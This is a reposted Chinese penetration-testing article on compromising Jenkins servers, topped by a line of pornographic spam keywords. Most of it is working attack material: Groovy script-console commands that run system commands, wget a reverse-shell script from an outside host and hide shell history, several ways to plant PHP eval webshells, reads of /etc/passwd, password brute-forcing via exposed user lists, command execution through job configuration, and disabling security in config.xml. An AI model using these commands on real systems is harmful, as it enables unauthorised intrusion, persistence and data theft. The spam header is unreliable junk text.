乡下人产国偷v产偷v自拍,国产午夜片在线观看,婷婷成人亚洲综合国产麻豆,久久综合给合久久狠狠狠9

  • <output id="e9wm2"></output>
    <s id="e9wm2"><nobr id="e9wm2"><ins id="e9wm2"></ins></nobr></s>

    • 分享

      知其一不知其二之Jenkins Hacking | 安全脈搏

       bananarlily 2015-08-03

      本文首發(fā)安全脈搏 感謝大王叫我來(lái)巡山 的投遞 轉(zhuǎn)載請(qǐng)注明來(lái)源

      大多安全工作者聽到j(luò)enkins都會(huì)知道有個(gè)未授權(quán)的命令執(zhí)行

      但是如果Script頁(yè)面要授權(quán)才能訪問(wèn)呢 或者你的用戶沒(méi)有Overall/RunScripts權(quán)限呢

      抱著提出問(wèn)題-->測(cè)試問(wèn)題-->解決問(wèn)題的思路有了這篇文章

      shot_jenkins

       

       

       

       

       

       

       

       

       

      由于版本眾多 也不用下載本地測(cè)了 直接在內(nèi)網(wǎng)找到六個(gè)

       

      jenkins_inner

       

       

       

       

      截止發(fā)稿 Jenkins新版本為(1.589)

      一、 知其一的Jenkins未授權(quán)訪問(wèn)可執(zhí)行命令

       

      http://www.:8080/manage

      http://www.:8080/script

      默認(rèn)是8080端口 未授權(quán)訪問(wèn)就是任意用戶都能訪問(wèn) 都能執(zhí)行命令

      jenkins_1

       

       

      1) println "ifconfig -a".execute().text  執(zhí)行一些系統(tǒng)命令

       

      老外比較喜歡這樣用:

      def sout = new StringBuffer(), serr = new StringBuffer()
      
      def proc = '[INSERT COMMAND]'.execute()
      
      proc.consumeProcessOutput(sout, serr)
      
      proc.waitForOrKill(1000)
      
      println "out> $sout err> $serr"

       

       

      2) 直接wget下載back.py反彈shell

       

      println "wget http://xxx./tools/back.py -P /tmp/".execute().text
      
      println "python /tmp/back.py 10.1.1.111 8080".execute().text

       

      back.py里面已經(jīng)有了HISTFILE代碼,會(huì)自動(dòng)去掉各種history記錄,確保shell斷掉的時(shí)候不會(huì)被記錄到.bash_history里面

      back.py不需要root權(quán)限

      jenkins_reverse_shell

       

       

      3) 不想反彈試試Terminal Plugin

      可以搜索安裝Terminal Plugin

      Terminal Plugin
      https://wiki./display/JENKINS/Terminal+Plugin

      jenkins_terminal

      不想提權(quán)的話 還是蠻好用的終端插件 誰(shuí)用誰(shuí)知道~

      二、不知其二之多種方式寫shell

      有時(shí)候其他端口有web,我們可以查看nginx/apache配置或者結(jié)合phpinfo寫入webshell

       

      嘗試幾次失敗后開始翻閱Groovy  Script語(yǔ)法

      The web site for Groovy is http://groovy./

      Groovy is a weakly-typed scripting language based on Java.

       

      1)Groovy既然是基于Java的弱類型語(yǔ)言 那么先稍微提提它的語(yǔ)法

      def name = 'Joe'
      
      println "Hello $name"
      
      //Hello Joe
      
       
      
      def name = 'Joe'
      
      println "Number of letters in $name is ${name.size( )}"
      
      //Number of letters in Joe is 3
      
       
      
      //Groovy I/O 文件讀寫
      
       
      讀文件
      
      text = new File("/tmp/back.py").getText();
      
       
      //eachLine -- 打開和讀取文件的每一行
      
      new File("/tmp/back.py").eachLine { 
      
      println it;
      
      }
      
      //readLines
      
      lineList = new File("/tmp/back.py").readLines();
      
      lineList.each { 
      
      println it.toUpperCase();
      
      }
      
       
      
      write輕輕松松寫文件
      
      new File("/tmp/1.php").write('Hello SecPulse');
      
       
      
      多行寫入
      
      new File("/tmp/1.php").write("""
      
      This is
      
      just a test file
      
      to play with
      
      """);

       

       

      2)幾種寫webshell的錯(cuò)誤寫法:

      println "echo \'<?php @eval($_POST[c6md])?>\' > /var/www/html/media.php".execute().text
      
      println "echo '<?php @eval(\$_POST[c6md])?>\' > /var/www/html/media.php ".execute().text
      
      new File("/tmp/1.php").write("<?php @eval($_POST[s3cpu1se]);?>");
      
      groovy.lang.MissingPropertyException: No such property: _POST for class: Script1
      
      new File("/tmp/1.php").write("<?php @eval($\_POST[s3cpu1se]);?>");
      
      new File("/tmp/1.php").write("<?php @eval(\$\_POST[s3cpu1se]);?>");

       

       

      3)腦洞開 多種寫webshell方法

      ① wget寫webshell
      
      println "wget http://shell./data/t.txt -o /var/www/html/media.php".execute().text
      
      ②
      
      new File("/var/www/html/media.php").write('<?php @eval($_POST[s3cpu1se]);?>');
      
      ③
      
      def webshell = '<?php @eval($_POST[s3cpu1se]);?>'
      
      new File("/var/www/html/media.php").write("$webshell");
      
       
      
      ④追加法寫webshell
      
      def execute(cmd) {
      
      def proc =  cmd.execute()
      
      proc.waitFor()
      
      }
      
      execute( [ 'bash', '-c', 'echo -n "<?php @eval($" > /usr/local/nginx_1119/html/media.php' ] )
      
      execute( [ 'bash', '-c', 'echo "_POST[s3cpu1se]);?>" >> /usr/local/nginx_1119/html/media.php' ] )
      
      //參數(shù)-n 不要在最后自動(dòng)換行

       

      jenkins_webshell

       

      Result: 0 表示成功寫入

      Result: 1 表示目錄不存在或者權(quán)限不足 寫入失敗

      Result: 2 表示構(gòu)造有異常 寫入失敗

       

      Hudson(jenkins類似)找"腳本命令行"

      hudson

       

       

       

       

       

       

       

       

       

       

       

      執(zhí)行Groovy代碼,讀取服務(wù)器本地/etc/passwd文件:

      try{
      
      text = new File("/etc/passwd").getText();
      
      out.print text
      
      } catch(Exception e){
      
      }

       

      三、高逼格的Powershell&msf

      https://github.com/samratashok/nishang

      http://www./db/modules/exploit/multi/http/jenkins_script_console

      http://www./2014/06/hacking-jenkins-servers.html

      jenkins_msf_3

       

      nishang是一個(gè)powershell腳本集 msf上面有jenkins對(duì)應(yīng)的exploit 感覺都沒(méi)必要

      四、登錄認(rèn)證的突破

      jenkins可以對(duì)每個(gè)用戶分配不同的權(quán)限,如Overall/RunScripts或者Job/Configure權(quán)限

      user_config_2

       

       

      1)某些版本匿名用戶可以訪問(wèn)asynchPeople 可爆破密碼

      (通常很多密碼跟用戶名一樣或者是其他弱口令(top1000),尤其是內(nèi)網(wǎng))

       

      //用戶列表:包含所有已知“用戶”,包括當(dāng)前安全域中的登錄ID和在變更記錄的提交信的息里的人

      http://jenkins.:8080/asynchPeople/

      jenkins_asynchPeople

       

      所有構(gòu)建(builds)

      http://jenkins.:8080/view/All/builds

      可以導(dǎo)出為XML

      http:// jenkins.:8080/view/All/cc.xml

      userContent(一般就一個(gè)readme):

      http:// jenkins.:8080/userContent/

      Computers:

      http:// jenkins.:8080/computer/

      jenkins_computer

       

      2) 熟練的猜密碼

      根據(jù)這些用戶名 熟練的猜密碼 我們的目標(biāo)就是要一個(gè)有命令執(zhí)行權(quán)限的用戶(最好是這樣,但也不苛求)

      有時(shí)候是域認(rèn)證的用戶 爆破立馬觸發(fā)各種郵件報(bào)警 顯然就不理智 端詳猜密碼是個(gè)絕技~

      3) 構(gòu)造精準(zhǔn)字典,來(lái)爆破

      最好是構(gòu)造精準(zhǔn)的字典 也可以是top1000之類的弱口令

      jenkins_burp

      爆破Payload里面的json串可以刪除

      主要根據(jù)location判斷爆破成功與否

       

      五、低權(quán)限用戶命令執(zhí)行突破

       

      不小心猜了個(gè)用戶 沒(méi)有執(zhí)行權(quán)限 但是有job查看和configure權(quán)限

      http://jenkins.:8080/job/Job1/configure

      jenkins_execute_shell_1

       

      新加一個(gè)Execute Shell添加command  (win平臺(tái)用Execute Windows batch command)
      
      Cat /etc/passwd
      
      Apply
      
      添加左上側(cè) 立即構(gòu)建
      
      Build History看到歷史BuildId
      
      右鍵
      
      控制臺(tái)輸出
      
      http://jenkins.:8080/job/Job1/300/console
      
      純文本方式
      
      http://jenkins.:8080/job/Job1/300/consoleText
      

       

      jenkins_execute_shell_3

       

       

       

       

       

       

       

       

       

       

       

       

       

       

      jenkins_execute_shell_2

       

      老外也有提及:http://www./2014/08/script-execution-and-privilege-esc-jenkins.html

       

      六、asynchPeople等不能訪問(wèn)時(shí)候的突破

       

      快速定位用戶有妙招

      1) 如果jobs能訪問(wèn)的話 各種翻jobs 會(huì)看到啟動(dòng)用戶

      jenkins_finduser_1

       

       

       

       

       

       

       

       

       

       

      2) 如果不能 那么啟用/user/xxx/暴力模式

      如果存在

       

       

       

       

       

       

       

       

       

       

       

      如果不存在

      jenkins_finduser_3

       

       

       

       

       

       

       

       

      突破用戶回到上述的四和五~

      七、關(guān)于幾個(gè)配置和加密

       

      1) 根目錄下的關(guān)鍵配置config.xml

      ① 如果配置不好的話 容易導(dǎo)致config.xml直接下載

      http:// jenkins.:8080/config.xml

      ②[useSecurity]true[/useSecurity] 改為false的話就可以未授權(quán)訪問(wèn)了

      jenkins_config

      2) 每個(gè)用戶目錄下面的config.xml

      passHash使用了Java的強(qiáng)加密方式j(luò)bcrypt

      jenkins_config_2

       

      pentest工作就是大部分自動(dòng)化 快速找到安全短板 譬如st2,譬如弱口令,譬如本文的jenkins命令執(zhí)行,快速突破進(jìn)內(nèi)網(wǎng)完成測(cè)試任務(wù)。安全運(yùn)維人員則必須修補(bǔ)每一個(gè)缺口,重視每一塊短板,緊跟每一次安全漏洞披露。以上是一些拙見,歡迎交流~

       

        本站是提供個(gè)人知識(shí)管理的網(wǎng)絡(luò)存儲(chǔ)空間,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點(diǎn)。請(qǐng)注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購(gòu)買等信息,謹(jǐn)防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請(qǐng)點(diǎn)擊一鍵舉報(bào)。
        轉(zhuǎn)藏 分享 獻(xiàn)花(0

        0條評(píng)論

        發(fā)表

        請(qǐng)遵守用戶 評(píng)論公約

        類似文章 更多